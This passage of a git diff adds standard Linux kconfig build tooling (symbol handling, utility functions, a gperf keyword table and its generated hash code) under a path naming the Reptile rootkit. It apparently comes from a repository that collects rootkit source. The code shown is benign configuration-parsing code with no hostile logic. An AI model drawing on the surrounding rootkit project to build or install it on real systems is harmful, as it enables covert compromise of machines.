sym_set_string_value(struct symbol *sym, const char *newval) +{ + const char *oldval; + char *val; + int size; + + switch (sym->type) { + case S_BOOLEAN: + case S_TRISTATE: + switch (newval[0]) { + case 'y': case 'Y': + return sym_set_tristate_value(sym, yes); + case 'm': case 'M': + return sym_set_tristate_value(sym, mod); + case 'n': case 'N': + return sym_set_tristate_value(sym, no); + } + return false; + default: + ; + } + + if (!sym_string_within_range(sym, newval)) + return false; + + if (!(sym->flags & SYMBOL_DEF_USER)) { + sym->flags |= SYMBOL_DEF_USER; + sym_set_changed(sym); + } + + oldval = sym->def[S_DEF_USER].val; + size = strlen(newval) + 1; + if (sym->type == S_HEX && (newval[0] != '0' || (newval[1] != 'x' && newval[1] != 'X'))) { + size += 2; + sym->def[S_DEF_USER].val = val = xmalloc(size); + *val++ = '0'; + *val++ = 'x'; + } else if (!oldval || strcmp(oldval, newval)) + sym->def[S_DEF_USER].val = val = xmalloc(size); + else + return true; + + strcpy(val, newval); + free((void *)oldval); + sym_clear_all_valid(); + + return true; +} + +/* + * Find the default value associated to a symbol. + * For tristate symbol handle the modules=n case + * in which case "m" becomes "y". + * If the symbol does not have any default then fallback + * to the fixed default values. + */ +const char *sym_get_string_default(struct symbol *sym) +{ + struct property *prop; + struct symbol *ds; + const char *str; + tristate val; + + sym_calc_visibility(sym); + sym_calc_value(modules_sym); + val = symbol_no.curr.tri; + str = symbol_empty.curr.val; + + /* If symbol has a default value look it up */ + prop = sym_get_default_prop(sym); + if (prop != NULL) { + switch (sym->type) { + case S_BOOLEAN: + case S_TRISTATE: + /* The visibility may limit the value from yes => mod */ + val = EXPR_AND(expr_calc_value(prop->expr), prop->visible.tri); + break; + default: + /* + * The following fails to handle the situation + * where a default value is further limited by + * the valid range. + */ + ds = prop_get_symbol(prop); + if (ds != NULL) { + sym_calc_value(ds); + str = (const char *)ds->curr.val; + } + } + } + + /* Handle select statements */ + val = EXPR_OR(val, sym->rev_dep.tri); + + /* transpose mod to yes if modules are not enabled */ + if (val == mod) + if (!sym_is_choice_value(sym) && modules_sym->curr.tri == no) + val = yes; + + /* transpose mod to yes if type is bool */ + if (sym->type == S_BOOLEAN && val == mod) + val = yes; + + switch (sym->type) { + case S_BOOLEAN: + case S_TRISTATE: + switch (val) { + case no: return "n"; + case mod: return "m"; + case yes: return "y"; + } + case S_INT: + case S_HEX: + return str; + case S_STRING: + return str; + case S_OTHER: + case S_UNKNOWN: + break; + } + return ""; +} + +const char *sym_get_string_value(struct symbol *sym) +{ + tristate val; + + switch (sym->type) { + case S_BOOLEAN: + case S_TRISTATE: + val = sym_get_tristate_value(sym); + switch (val) { + case no: + return "n"; + case mod: + sym_calc_value(modules_sym); + return (modules_sym->curr.tri == no) ? "n" : "m"; + case yes: + return "y"; + } + break; + default: + ; + } + return (const char *)sym->curr.val; +} + +bool sym_is_changable(struct symbol *sym) +{ + return sym->visible > sym->rev_dep.tri; +} + +static unsigned strhash(const char *s) +{ + /* fnv32 hash */ + unsigned hash = 2166136261U; + for (; *s; s++) + hash = (hash ^ *s) * 0x01000193; + return hash; +} + +struct symbol *sym_lookup(const char *name, int flags) +{ + struct symbol *symbol; + char *new_name; + int hash; + + if (name) { + if (name[0] && !name[1]) { + switch (name[0]) { + case 'y': return &symbol_yes; + case 'm': return &symbol_mod; + case 'n': return &symbol_no; + } + } + hash = strhash(name) % SYMBOL_HASHSIZE; + + for (symbol = symbol_hash[hash]; symbol; symbol = symbol->next) { + if (symbol->name && + !strcmp(symbol->name, name) && + (flags ? symbol->flags & flags + : !(symbol->flags & (SYMBOL_CONST|SYMBOL_CHOICE)))) + return symbol; + } + new_name = strdup(name); + } else { + new_name = NULL; + hash = 0; + } + + symbol = xmalloc(sizeof(*symbol)); + memset(symbol, 0, sizeof(*symbol)); + symbol->name = new_name; + symbol->type = S_UNKNOWN; + symbol->flags |= flags; + + symbol->next = symbol_hash[hash]; + symbol_hash[hash] = symbol; + + return symbol; +} + +struct symbol *sym_find(const char *name) +{ + struct symbol *symbol = NULL; + int hash = 0; + + if (!name) + return NULL; + + if (name[0] && !name[1]) { + switch (name[0]) { + case 'y': return &symbol_yes; + case 'm': return &symbol_mod; + case 'n': return &symbol_no; + } + } + hash = strhash(name) % SYMBOL_HASHSIZE; + + for (symbol = symbol_hash[hash]; symbol; symbol = symbol->next) { + if (symbol->name && + !strcmp(symbol->name, name) && + !(symbol->flags & SYMBOL_CONST)) + break; + } + + return symbol; +} + +/* + * Expand symbol's names embedded in the string given in argument. Symbols' + * name to be expanded shall be prefixed by a '$'. Unknown symbol expands to + * the empty string. + */ +const char *sym_expand_string_value(const char *in) +{ + const char *src; + char *res; + size_t reslen; + + reslen = strlen(in) + 1; + res = xmalloc(reslen); + res[0] = '\0'; + + while ((src = strchr(in, '$'))) { + char *p, name[SYMBOL_MAXLENGTH]; + const char *symval = ""; + struct symbol *sym; + size_t newlen; + + strncat(res, in, src - in); + src++; + + p = name; + while (isalnum(*src) || *src == '_') + *p++ = *src++; + *p = '\0'; + + sym = sym_find(name); + if (sym != NULL) { + sym_calc_value(sym); + symval = sym_get_string_value(sym); + } + + newlen = strlen(res) + strlen(symval) + strlen(src) + 1; + if (newlen > reslen) { + reslen = newlen; + res = realloc(res, reslen); + } + + strcat(res, symval); + in = src; + } + strcat(res, in); + + return res; +} + +const char *sym_escape_string_value(const char *in) +{ + const char *p; + size_t reslen; + char *res; + size_t l; + + reslen = strlen(in) + strlen("\"\"") + 1; + + p = in; + for (;;) { + l = strcspn(p, "\"\\"); + p += l; + + if (p[0] == '\0') + break; + + reslen++; + p++; + } + + res = xmalloc(reslen); + res[0] = '\0'; + + strcat(res, "\""); + + p = in; + for (;;) { + l = strcspn(p, "\"\\"); + strncat(res, p, l); + p += l; + + if (p[0] == '\0') + break; + + strcat(res, "\\"); + strncat(res, p++, 1); + } + + strcat(res, "\""); + return res; +} + +struct sym_match { + struct symbol *sym; + off_t so, eo; +}; + +/* Compare matched symbols as thus: + * - first, symbols that match exactly + * - then, alphabetical sort + */ +static int sym_rel_comp(const void *sym1, const void *sym2) +{ + const struct sym_match *s1 = sym1; + const struct sym_match *s2 = sym2; + int exact1, exact2; + + /* Exact match: + * - if matched length on symbol s1 is the length of that symbol, + * then this symbol should come first; + * - if matched length on symbol s2 is the length of that symbol, + * then this symbol should come first. + * Note: since the search can be a regexp, both symbols may match + * exactly; if this is the case, we can't decide which comes first, + * and we fallback to sorting alphabetically. + */ + exact1 = (s1->eo - s1->so) == strlen(s1->sym->name); + exact2 = (s2->eo - s2->so) == strlen(s2->sym->name); + if (exact1 && !exact2) + return -1; + if (!exact1 && exact2) + return 1; + + /* As a fallback, sort symbols alphabetically */ + return strcmp(s1->sym->name, s2->sym->name); +} + +struct symbol **sym_re_search(const char *pattern) +{ + struct symbol *sym, **sym_arr = NULL; + struct sym_match *sym_match_arr = NULL; + int i, cnt, size; + regex_t re; + regmatch_t match[1]; + + cnt = size = 0; + /* Skip if empty */ + if (strlen(pattern) == 0) + return NULL; + if (regcomp(&re, pattern, REG_EXTENDED|REG_ICASE)) + return NULL; + + for_all_symbols(i, sym) { + if (sym->flags & SYMBOL_CONST || !sym->name) + continue; + if (regexec(&re, sym->name, 1, match, 0)) + continue; + if (cnt >= size) { + void *tmp; + size += 16; + tmp = realloc(sym_match_arr, size * sizeof(struct sym_match)); + if (!tmp) + goto sym_re_search_free; + sym_match_arr = tmp; + } + sym_calc_value(sym); + /* As regexec returned 0, we know we have a match, so + * we can use match[0].rm_[se]o without further checks + */ + sym_match_arr[cnt].so = match[0].rm_so; + sym_match_arr[cnt].eo = match[0].rm_eo; + sym_match_arr[cnt++].sym = sym; + } + if (sym_match_arr) { + qsort(sym_match_arr, cnt, sizeof(struct sym_match), sym_rel_comp); + sym_arr = malloc((cnt+1) * sizeof(struct symbol)); + if (!sym_arr) + goto sym_re_search_free; + for (i = 0; i < cnt; i++) + sym_arr[i] = sym_match_arr[i].sym; + sym_arr[cnt] = NULL; + } +sym_re_search_free: + /* sym_match_arr can be NULL if no match, but free(NULL) is OK */ + free(sym_match_arr); + regfree(&re); + + return sym_arr; +} + +/* + * When we check for recursive dependencies we use a stack to save + * current state so we can print out relevant info to user. + * The entries are located on the call stack so no need to free memory. + * Note insert() remove() must always match to properly clear the stack. + */ +static struct dep_stack { + struct dep_stack *prev, *next; + struct symbol *sym; + struct property *prop; + struct expr *expr; +} *check_top; + +static void dep_stack_insert(struct dep_stack *stack, struct symbol *sym) +{ + memset(stack, 0, sizeof(*stack)); + if (check_top) + check_top->next = stack; + stack->prev = check_top; + stack->sym = sym; + check_top = stack; +} + +static void dep_stack_remove(void) +{ + check_top = check_top->prev; + if (check_top) + check_top->next = NULL; +} + +/* + * Called when we have detected a recursive dependency. + * check_top point to the top of the stact so we use + * the ->prev pointer to locate the bottom of the stack. + */ +static void sym_check_print_recursive(struct symbol *last_sym) +{ + struct dep_stack *stack; + struct symbol *sym, *next_sym; + struct menu *menu = NULL; + struct property *prop; + struct dep_stack cv_stack; + + if (sym_is_choice_value(last_sym)) { + dep_stack_insert(&cv_stack, last_sym); + last_sym = prop_get_symbol(sym_get_choice_prop(last_sym)); + } + + for (stack = check_top; stack != NULL; stack = stack->prev) + if (stack->sym == last_sym) + break; + if (!stack) { + fprintf(stderr, "unexpected recursive dependency error\n"); + return; + } + + for (; stack; stack = stack->next) { + sym = stack->sym; + next_sym = stack->next ? stack->next->sym : last_sym; + prop = stack->prop; + if (prop == NULL) + prop = stack->sym->prop; + + /* for choice values find the menu entry (used below) */ + if (sym_is_choice(sym) || sym_is_choice_value(sym)) { + for (prop = sym->prop; prop; prop = prop->next) { + menu = prop->menu; + if (prop->menu) + break; + } + } + if (stack->sym == last_sym) + fprintf(stderr, "%s:%d:error: recursive dependency detected!\n", + prop->file->name, prop->lineno); + if (stack->expr) { + fprintf(stderr, "%s:%d:\tsymbol %s %s value contains %s\n", + prop->file->name, prop->lineno, + sym->name ? sym->name : "", + prop_get_type_name(prop->type), + next_sym->name ? next_sym->name : ""); + } else if (stack->prop) { + fprintf(stderr, "%s:%d:\tsymbol %s depends on %s\n", + prop->file->name, prop->lineno, + sym->name ? sym->name : "", + next_sym->name ? next_sym->name : ""); + } else if (sym_is_choice(sym)) { + fprintf(stderr, "%s:%d:\tchoice %s contains symbol %s\n", + menu->file->name, menu->lineno, + sym->name ? sym->name : "", + next_sym->name ? next_sym->name : ""); + } else if (sym_is_choice_value(sym)) { + fprintf(stderr, "%s:%d:\tsymbol %s is part of choice %s\n", + menu->file->name, menu->lineno, + sym->name ? sym->name : "", + next_sym->name ? next_sym->name : ""); + } else { + fprintf(stderr, "%s:%d:\tsymbol %s is selected by %s\n", + prop->file->name, prop->lineno, + sym->name ? sym->name : "", + next_sym->name ? next_sym->name : ""); + } + } + + if (check_top == &cv_stack) + dep_stack_remove(); +} + +static struct symbol *sym_check_expr_deps(struct expr *e) +{ + struct symbol *sym; + + if (!e) + return NULL; + switch (e->type) { + case E_OR: + case E_AND: + sym = sym_check_expr_deps(e->left.expr); + if (sym) + return sym; + return sym_check_expr_deps(e->right.expr); + case E_NOT: + return sym_check_expr_deps(e->left.expr); + case E_EQUAL: + case E_UNEQUAL: + sym = sym_check_deps(e->left.sym); + if (sym) + return sym; + return sym_check_deps(e->right.sym); + case E_SYMBOL: + return sym_check_deps(e->left.sym); + default: + break; + } + printf("Oops! How to check %d?\n", e->type); + return NULL; +} + +/* return NULL when dependencies are OK */ +static struct symbol *sym_check_sym_deps(struct symbol *sym) +{ + struct symbol *sym2; + struct property *prop; + struct dep_stack stack; + + dep_stack_insert(&stack, sym); + + sym2 = sym_check_expr_deps(sym->rev_dep.expr); + if (sym2) + goto out; + + for (prop = sym->prop; prop; prop = prop->next) { + if (prop->type == P_CHOICE || prop->type == P_SELECT) + continue; + stack.prop = prop; + sym2 = sym_check_expr_deps(prop->visible.expr); + if (sym2) + break; + if (prop->type != P_DEFAULT || sym_is_choice(sym)) + continue; + stack.expr = prop->expr; + sym2 = sym_check_expr_deps(prop->expr); + if (sym2) + break; + stack.expr = NULL; + } + +out: + dep_stack_remove(); + + return sym2; +} + +static struct symbol *sym_check_choice_deps(struct symbol *choice) +{ + struct symbol *sym, *sym2; + struct property *prop; + struct expr *e; + struct dep_stack stack; + + dep_stack_insert(&stack, choice); + + prop = sym_get_choice_prop(choice); + expr_list_for_each_sym(prop->expr, e, sym) + sym->flags |= (SYMBOL_CHECK | SYMBOL_CHECKED); + + choice->flags |= (SYMBOL_CHECK | SYMBOL_CHECKED); + sym2 = sym_check_sym_deps(choice); + choice->flags &= ~SYMBOL_CHECK; + if (sym2) + goto out; + + expr_list_for_each_sym(prop->expr, e, sym) { + sym2 = sym_check_sym_deps(sym); + if (sym2) + break; + } +out: + expr_list_for_each_sym(prop->expr, e, sym) + sym->flags &= ~SYMBOL_CHECK; + + if (sym2 && sym_is_choice_value(sym2) && + prop_get_symbol(sym_get_choice_prop(sym2)) == choice) + sym2 = choice; + + dep_stack_remove(); + + return sym2; +} + +struct symbol *sym_check_deps(struct symbol *sym) +{ + struct symbol *sym2; + struct property *prop; + + if (sym->flags & SYMBOL_CHECK) { + sym_check_print_recursive(sym); + return sym; + } + if (sym->flags & SYMBOL_CHECKED) + return NULL; + + if (sym_is_choice_value(sym)) { + struct dep_stack stack; + + /* for choice groups start the check with main choice symbol */ + dep_stack_insert(&stack, sym); + prop = sym_get_choice_prop(sym); + sym2 = sym_check_deps(prop_get_symbol(prop)); + dep_stack_remove(); + } else if (sym_is_choice(sym)) { + sym2 = sym_check_choice_deps(sym); + } else { + sym->flags |= (SYMBOL_CHECK | SYMBOL_CHECKED); + sym2 = sym_check_sym_deps(sym); + sym->flags &= ~SYMBOL_CHECK; + } + + if (sym2 && sym2 == sym) + sym2 = NULL; + + return sym2; +} + +struct property *prop_alloc(enum prop_type type, struct symbol *sym) +{ + struct property *prop; + struct property **propp; + + prop = xmalloc(sizeof(*prop)); + memset(prop, 0, sizeof(*prop)); + prop->type = type; + prop->sym = sym; + prop->file = current_file; + prop->lineno = zconf_lineno(); + + /* append property to the prop list of symbol */ + if (sym) { + for (propp = &sym->prop; *propp; propp = &(*propp)->next) + ; + *propp = prop; + } + + return prop; +} + +struct symbol *prop_get_symbol(struct property *prop) +{ + if (prop->expr && (prop->expr->type == E_SYMBOL || + prop->expr->type == E_LIST)) + return prop->expr->left.sym; + return NULL; +} + +const char *prop_get_type_name(enum prop_type type) +{ + switch (type) { + case P_PROMPT: + return "prompt"; + case P_ENV: + return "env"; + case P_COMMENT: + return "comment"; + case P_MENU: + return "menu"; + case P_DEFAULT: + return "default"; + case P_CHOICE: + return "choice"; + case P_SELECT: + return "select"; + case P_RANGE: + return "range"; + case P_SYMBOL: + return "symbol"; + case P_UNKNOWN: + break; + } + return "unknown"; +} + +static void prop_add_env(const char *env) +{ + struct symbol *sym, *sym2; + struct property *prop; + char *p; + + sym = current_entry->sym; + sym->flags |= SYMBOL_AUTO; + for_all_properties(sym, prop, P_ENV) { + sym2 = prop_get_symbol(prop); + if (strcmp(sym2->name, env)) + menu_warn(current_entry, "redefining environment symbol from %s", + sym2->name); + return; + } + + prop = prop_alloc(P_ENV, sym); + prop->expr = expr_alloc_symbol(sym_lookup(env, SYMBOL_CONST)); + + sym_env_list = expr_alloc_one(E_LIST, sym_env_list); + sym_env_list->right.sym = sym; + + p = getenv(env); + if (p) + sym_add_default(sym, p); + else + menu_warn(current_entry, "environment variable %s undefined", env); +} diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/util.c b/Linux/Rootkits/Reptile/scripts/kconfig/util.c new file mode 100644 index 0000000..60eb566 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/util.c @@ -0,0 +1,171 @@ +/* + * Copyright (C) 2002-2005 Roman Zippel + * Copyright (C) 2002-2005 Sam Ravnborg + * + * Released under the terms of the GNU GPL v2.0. + */ + +#include +#include +#include +#include "lkc.h" + +/* file already present in list? If not add it */ +struct file *file_lookup(const char *name) +{ + struct file *file; + const char *file_name = sym_expand_string_value(name); + + for (file = file_list; file; file = file->next) { + if (!strcmp(name, file->name)) { + free((void *)file_name); + return file; + } + } + + file = xmalloc(sizeof(*file)); + memset(file, 0, sizeof(*file)); + file->name = file_name; + file->next = file_list; + file_list = file; + return file; +} + +/* write a dependency file as used by kbuild to track dependencies */ +int file_write_dep(const char *name) +{ + char *str; + char buf[PATH_MAX+1], buf2[PATH_MAX+1], dir[PATH_MAX+1]; + struct symbol *sym, *env_sym; + struct expr *e; + struct file *file; + FILE *out; + + if (!name) + name = ".kconfig.d"; + + strcpy(dir, conf_get_configname()); + str = strrchr(dir, '/'); + if (str) + str[1] = 0; + else + dir[0] = 0; + + sprintf(buf, "%s..config.tmp", dir); + out = fopen(buf, "w"); + if (!out) + return 1; + fprintf(out, "deps_config := \\\n"); + for (file = file_list; file; file = file->next) { + if (file->next) + fprintf(out, "\t%s \\\n", file->name); + else + fprintf(out, "\t%s\n", file->name); + } + fprintf(out, "\n%s: \\\n" + "\t$(deps_config)\n\n", conf_get_autoconfig_name()); + + expr_list_for_each_sym(sym_env_list, e, sym) { + struct property *prop; + const char *value; + + prop = sym_get_env_prop(sym); + env_sym = prop_get_symbol(prop); + if (!env_sym) + continue; + value = getenv(env_sym->name); + if (!value) + value = ""; + fprintf(out, "ifneq \"$(%s)\" \"%s\"\n", env_sym->name, value); + fprintf(out, "%s: FORCE\n", conf_get_autoconfig_name()); + fprintf(out, "endif\n"); + } + + fprintf(out, "\n$(deps_config): ;\n"); + fclose(out); + sprintf(buf2, "%s%s", dir, name); + rename(buf, buf2); + return 0; +} + + +/* Allocate initial growable string */ +struct gstr str_new(void) +{ + struct gstr gs; + gs.s = xmalloc(sizeof(char) * 64); + gs.len = 64; + gs.max_width = 0; + strcpy(gs.s, "\0"); + return gs; +} + +/* Allocate and assign growable string */ +struct gstr str_assign(const char *s) +{ + struct gstr gs; + gs.s = strdup(s); + gs.len = strlen(s) + 1; + gs.max_width = 0; + return gs; +} + +/* Free storage for growable string */ +void str_free(struct gstr *gs) +{ + if (gs->s) + free(gs->s); + gs->s = NULL; + gs->len = 0; +} + +/* Append to growable string */ +void str_append(struct gstr *gs, const char *s) +{ + size_t l; + if (s) { + l = strlen(gs->s) + strlen(s) + 1; + if (l > gs->len) { + gs->s = realloc(gs->s, l); + gs->len = l; + } + strcat(gs->s, s); + } +} + +/* Append printf formatted string to growable string */ +void str_printf(struct gstr *gs, const char *fmt, ...) +{ + va_list ap; + char s[10000]; /* big enough... */ + va_start(ap, fmt); + vsnprintf(s, sizeof(s), fmt, ap); + str_append(gs, s); + va_end(ap); +} + +/* Retrieve value of growable string */ +const char *str_get(struct gstr *gs) +{ + return gs->s; +} + +void *xmalloc(size_t size) +{ + void *p = malloc(size); + if (p) + return p; + fprintf(stderr, "Out of memory.\n"); + exit(1); +} + +void *xcalloc(size_t nmemb, size_t size) +{ + void *p = calloc(nmemb, size); + if (p) + return p; + fprintf(stderr, "Out of memory.\n"); + exit(1); +} + + diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/zconf.gperf b/Linux/Rootkits/Reptile/scripts/kconfig/zconf.gperf new file mode 100644 index 0000000..f14ab41 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/zconf.gperf @@ -0,0 +1,47 @@ +%language=ANSI-C +%define hash-function-name kconf_id_hash +%define lookup-function-name kconf_id_lookup +%define string-pool-name kconf_id_strings +%compare-strncmp +%enum +%pic +%struct-type + +struct kconf_id; + +static const struct kconf_id *kconf_id_lookup(register const char *str, register unsigned int len); + +%% +mainmenu, T_MAINMENU, TF_COMMAND +menu, T_MENU, TF_COMMAND +endmenu, T_ENDMENU, TF_COMMAND +source, T_SOURCE, TF_COMMAND +choice, T_CHOICE, TF_COMMAND +endchoice, T_ENDCHOICE, TF_COMMAND +comment, T_COMMENT, TF_COMMAND +config, T_CONFIG, TF_COMMAND +menuconfig, T_MENUCONFIG, TF_COMMAND +help, T_HELP, TF_COMMAND +if, T_IF, TF_COMMAND|TF_PARAM +endif, T_ENDIF, TF_COMMAND +depends, T_DEPENDS, TF_COMMAND +optional, T_OPTIONAL, TF_COMMAND +default, T_DEFAULT, TF_COMMAND, S_UNKNOWN +prompt, T_PROMPT, TF_COMMAND +tristate, T_TYPE, TF_COMMAND, S_TRISTATE +def_tristate, T_DEFAULT, TF_COMMAND, S_TRISTATE +bool, T_TYPE, TF_COMMAND, S_BOOLEAN +boolean, T_TYPE, TF_COMMAND, S_BOOLEAN +def_bool, T_DEFAULT, TF_COMMAND, S_BOOLEAN +int, T_TYPE, TF_COMMAND, S_INT +hex, T_TYPE, TF_COMMAND, S_HEX +string, T_TYPE, TF_COMMAND, S_STRING +select, T_SELECT, TF_COMMAND +range, T_RANGE, TF_COMMAND +visible, T_VISIBLE, TF_COMMAND +option, T_OPTION, TF_COMMAND +on, T_ON, TF_PARAM +modules, T_OPT_MODULES, TF_OPTION +defconfig_list, T_OPT_DEFCONFIG_LIST,TF_OPTION +env, T_OPT_ENV, TF_OPTION +%% diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/zconf.hash.c_shipped b/Linux/Rootkits/Reptile/scripts/kconfig/zconf.hash.c_shipped new file mode 100644 index 0000000..40df000 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/zconf.hash.c_shipped @@ -0,0 +1,286 @@ +/* ANSI-C code produced by gperf version 3.0.4 */ +/* Command-line: gperf -t --output-file scripts/kconfig/zconf.hash.c_shipped -a -C -E -g -k '1,3,$' -p -t scripts/kconfig/zconf.gperf */ + +#if !((' ' == 32) && ('!' == 33) && ('"' == 34) && ('#' == 35) \ + && ('%' == 37) && ('&' == 38) && ('\'' == 39) && ('(' == 40) \ + && (')' == 41) && ('*' == 42) && ('+' == 43) && (',' == 44) \ + && ('-' == 45) && ('.' == 46) && ('/' == 47) && ('0' == 48) \ + && ('1' == 49) && ('2' == 50) && ('3' == 51) && ('4' == 52) \ + && ('5' == 53) && ('6' == 54) && ('7' == 55) && ('8' == 56) \ + && ('9' == 57) && (':' == 58) && (';' == 59) && ('<' == 60) \ + && ('=' == 61) && ('>' == 62) && ('?' == 63) && ('A' == 65) \ + && ('B' == 66) && ('C' == 67) && ('D' == 68) && ('E' == 69) \ + && ('F' == 70) && ('G' == 71) && ('H' == 72) && ('I' == 73) \ + && ('J' == 74) && ('K' == 75) && ('L' == 76) && ('M' == 77) \ + && ('N' == 78) && ('O' == 79) && ('P' == 80) && ('Q' == 81) \ + && ('R' == 82) && ('S' == 83) && ('T' == 84) && ('U' == 85) \ + && ('V' == 86) && ('W' == 87) && ('X' == 88) && ('Y' == 89) \ + && ('Z' == 90) && ('[' == 91) && ('\\' == 92) && (']' == 93) \ + && ('^' == 94) && ('_' == 95) && ('a' == 97) && ('b' == 98) \ + && ('c' == 99) && ('d' == 100) && ('e' == 101) && ('f' == 102) \ + && ('g' == 103) && ('h' == 104) && ('i' == 105) && ('j' == 106) \ + && ('k' == 107) && ('l' == 108) && ('m' == 109) && ('n' == 110) \ + && ('o' == 111) && ('p' == 112) && ('q' == 113) && ('r' == 114) \ + && ('s' == 115) && ('t' == 116) && ('u' == 117) && ('v' == 118) \ + && ('w' == 119) && ('x' == 120) && ('y' == 121) && ('z' == 122) \ + && ('{' == 123) && ('|' == 124) && ('}' == 125) && ('~' == 126)) +/* The character set is not based on ISO-646. */ +#error "gperf generated tables don't work with this execution character set. Please report a bug to ." +#endif + +#line 10 "scripts/kconfig/zconf.gperf" +struct kconf_id; + +static const struct kconf_id *kconf_id_lookup(register const char *str, register unsigned int len); +/* maximum key range = 71, duplicates = 0 */ + +#ifdef __GNUC__ +__inline +#else +#ifdef __cplusplus +inline +#endif +#endif +static unsigned int +kconf_id_hash (register const char *str, register unsigned int len) +{ + static const unsigned char asso_values[] = + { + 73, 73, 73, 73, 73, 73, 73, 73, 73, 73, + 73, 73, 73, 73, 73, 73, 73, 73, 73, 73, + 73, 73, 73, 73, 73, 73, 73, 73, 73, 73, + 73, 73, 73, 73, 73, 73, 73, 73, 73, 73, + 73, 73, 73, 73, 73, 73, 73, 73, 73, 73, + 73, 73, 73, 73, 73, 73, 73, 73, 73, 73, + 73, 73, 73, 73, 73, 73, 73, 73, 73, 73, + 73, 73, 73, 73, 73, 73, 73, 73, 73, 73, + 73, 73, 73, 73, 73, 73, 73, 73, 73, 73, + 73, 73, 73, 73, 73, 73, 73, 73, 25, 25, + 0, 0, 0, 5, 0, 0, 73, 73, 5, 0, + 10, 5, 45, 73, 20, 20, 0, 15, 15, 73, + 20, 73, 73, 73, 73, 73, 73, 73, 73, 73, + 73, 73, 73, 73, 73, 73, 73, 73, 73, 73, + 73, 73, 73, 73, 73, 73, 73, 73, 73, 73, + 73, 73, 73, 73, 73, 73, 73, 73, 73, 73, + 73, 73, 73, 73, 73, 73, 73, 73, 73, 73, + 73, 73, 73, 73, 73, 73, 73, 73, 73, 73, + 73, 73, 73, 73, 73, 73, 73, 73, 73, 73, + 73, 73, 73, 73, 73, 73, 73, 73, 73, 73, + 73, 73, 73, 73, 73, 73, 73, 73, 73, 73, + 73, 73, 73, 73, 73, 73, 73, 73, 73, 73, + 73, 73, 73, 73, 73, 73, 73, 73, 73, 73, + 73, 73, 73, 73, 73, 73, 73, 73, 73, 73, + 73, 73, 73, 73, 73, 73, 73, 73, 73, 73, + 73, 73, 73, 73, 73, 73 + }; + register int hval = len; + + switch (hval) + { + default: + hval += asso_values[(unsigned char)str[2]]; + /*FALLTHROUGH*/ + case 2: + case 1: + hval += asso_values[(unsigned char)str[0]]; + break; + } + return hval + asso_values[(unsigned char)str[len - 1]]; +} + +struct kconf_id_strings_t + { + char kconf_id_strings_str2[sizeof("if")]; + char kconf_id_strings_str3[sizeof("int")]; + char kconf_id_strings_str5[sizeof("endif")]; + char kconf_id_strings_str7[sizeof("default")]; + char kconf_id_strings_str8[sizeof("tristate")]; + char kconf_id_strings_str9[sizeof("endchoice")]; + char kconf_id_strings_str12[sizeof("def_tristate")]; + char kconf_id_strings_str13[sizeof("def_bool")]; + char kconf_id_strings_str14[sizeof("defconfig_list")]; + char kconf_id_strings_str17[sizeof("on")]; + char kconf_id_strings_str18[sizeof("optional")]; + char kconf_id_strings_str21[sizeof("option")]; + char kconf_id_strings_str22[sizeof("endmenu")]; + char kconf_id_strings_str23[sizeof("mainmenu")]; + char kconf_id_strings_str25[sizeof("menuconfig")]; + char kconf_id_strings_str27[sizeof("modules")]; + char kconf_id_strings_str29[sizeof("menu")]; + char kconf_id_strings_str31[sizeof("select")]; + char kconf_id_strings_str32[sizeof("comment")]; + char kconf_id_strings_str33[sizeof("env")]; + char kconf_id_strings_str35[sizeof("range")]; + char kconf_id_strings_str36[sizeof("choice")]; + char kconf_id_strings_str39[sizeof("bool")]; + char kconf_id_strings_str41[sizeof("source")]; + char kconf_id_strings_str42[sizeof("visible")]; + char kconf_id_strings_str43[sizeof("hex")]; + char kconf_id_strings_str46[sizeof("config")]; + char kconf_id_strings_str47[sizeof("boolean")]; + char kconf_id_strings_str51[sizeof("string")]; + char kconf_id_strings_str54[sizeof("help")]; + char kconf_id_strings_str56[sizeof("prompt")]; + char kconf_id_strings_str72[sizeof("depends")]; + }; +static const struct kconf_id_strings_t kconf_id_strings_contents = + { + "if", + "int", + "endif", + "default", + "tristate", + "endchoice", + "def_tristate", + "def_bool", + "defconfig_list", + "on", + "optional", + "option", + "endmenu", + "mainmenu", + "menuconfig", + "modules", + "menu", + "select", + "comment", + "env", + "range", + "choice", + "bool", + "source", + "visible", + "hex", + "config", + "boolean", + "string", + "help", + "prompt", + "depends" + }; +#define kconf_id_strings ((const char *) &kconf_id_strings_contents) +#ifdef __GNUC__ +__inline +#if defined __GNUC_STDC_INLINE__ || defined __GNUC_GNU_INLINE__ +__attribute__ ((__gnu_inline__)) +#endif +#endif +const struct kconf_id * +kconf_id_lookup (register const char *str, register unsigned int len) +{ + enum + { + TOTAL_KEYWORDS = 32, + MIN_WORD_LENGTH = 2, + MAX_WORD_LENGTH = 14, + MIN_HASH_VALUE = 2, + MAX_HASH_VALUE = 72 + }; + + static const struct kconf_id wordlist[] = + { + {-1}, {-1}, +#line 25 "scripts/kconfig/zconf.gperf" + {(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str2, T_IF, TF_COMMAND|TF_PARAM}, +#line 36 "scripts/kconfig/zconf.gperf" + {(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str3, T_TYPE, TF_COMMAND, S_INT}, + {-1}, +#line 26 "scripts/kconfig/zconf.gperf" + {(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str5, T_ENDIF, TF_COMMAND}, + {-1}, +#line 29 "scripts/kconfig/zconf.gperf" + {(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str7, T_DEFAULT, TF_COMMAND, S_UNKNOWN}, +#line 31 "scripts/kconfig/zconf.gperf" + {(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str8, T_TYPE, TF_COMMAND, S_TRISTATE}, +#line 20 "scripts/kconfig/zconf.gperf" + {(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str9, T_ENDCHOICE, TF_COMMAND}, + {-1}, {-1}, +#line 32 "scripts/kconfig/zconf.gperf" + {(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str12, T_DEFAULT, TF_COMMAND, S_TRISTATE}, +#line 35 "scripts/kconfig/zconf.gperf" + {(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str13, T_DEFAULT, TF_COMMAND, S_BOOLEAN}, +#line 45 "scripts/kconfig/zconf.gperf" + 